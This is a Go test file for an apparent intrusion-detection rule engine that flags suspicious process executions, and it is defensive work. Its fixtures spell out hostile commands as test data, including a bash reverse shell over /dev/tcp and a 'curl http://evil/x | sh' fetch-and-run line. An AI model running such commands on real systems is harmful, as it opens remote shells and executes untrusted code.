109 lines
3.2 KiB
Go
109 lines
3.2 KiB
Go
// SPDX-License-Identifier: GPL-3.0-or-later
|
|
|
|
package events
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"reflect"
|
|
"testing"
|
|
)
|
|
|
|
func execEvent(filename string, argv []string, parent string) ExecEvent {
|
|
return ExecEvent{
|
|
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
|
|
Filename: filename, Argv: argv,
|
|
}
|
|
}
|
|
|
|
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
|
|
engine := DefaultExecRuleEngine()
|
|
tests := []struct {
|
|
event ExecEvent
|
|
sid int
|
|
}{
|
|
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
|
|
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
|
|
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
|
|
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
|
|
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
|
|
}
|
|
for _, test := range tests {
|
|
found := false
|
|
for _, alert := range engine.Match(test.event) {
|
|
if alert.SID == test.sid {
|
|
found = true
|
|
}
|
|
}
|
|
if !found {
|
|
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
|
}
|
|
}
|
|
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
|
|
t.Fatalf("benign command matched: %#v", alerts)
|
|
}
|
|
}
|
|
|
|
func TestExecAlertContract(t *testing.T) {
|
|
event := execEvent("/tmp/x", nil, "bash")
|
|
alert := DefaultExecRuleEngine().Match(event)[0]
|
|
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
|
|
alert.Signature != "exec_rule.fileless-execution" ||
|
|
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
|
|
t.Fatalf("unexpected alert: %#v", alert)
|
|
}
|
|
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
|
|
if alert.Detail != want {
|
|
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
|
|
}
|
|
}
|
|
|
|
func TestExecRuleValidationAndParentExclude(t *testing.T) {
|
|
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
|
|
t.Fatal("conditionless rule was accepted")
|
|
}
|
|
rule, err := NewExecRule(ExecRule{
|
|
SID: 1, Severity: "HIGH", Classtype: "test",
|
|
ExecComms: map[string]bool{"bash": true},
|
|
ParentExclude: map[string]bool{"sshd": true},
|
|
})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
|
|
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
|
|
t.Fatal("parent exclusion semantics drifted")
|
|
}
|
|
}
|
|
|
|
func TestLoadConfiguredExecRules(t *testing.T) {
|
|
path := filepath.Join(t.TempDir(), "rules.toml")
|
|
raw := []byte(`
|
|
[[exec_rules]]
|
|
sid = 190001
|
|
msg = "Custom interpreter rule"
|
|
severity = "critical"
|
|
classtype = "custom-exec"
|
|
exec_comm = [
|
|
"bash",
|
|
"zsh",
|
|
]
|
|
parent_comm = ["cron"]
|
|
parent_exclude = ["sshd"]
|
|
argv_regex = 'danger\s+now'
|
|
`)
|
|
if err := os.WriteFile(path, raw, 0o600); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
engine, err := LoadExecRuleEngine(path)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
|
|
t.Fatalf("unexpected rule catalog: %#v", got)
|
|
}
|
|
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
|
|
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
|
|
t.Fatalf("configured rule mismatch: %#v", alerts)
|
|
}
|
|
}
|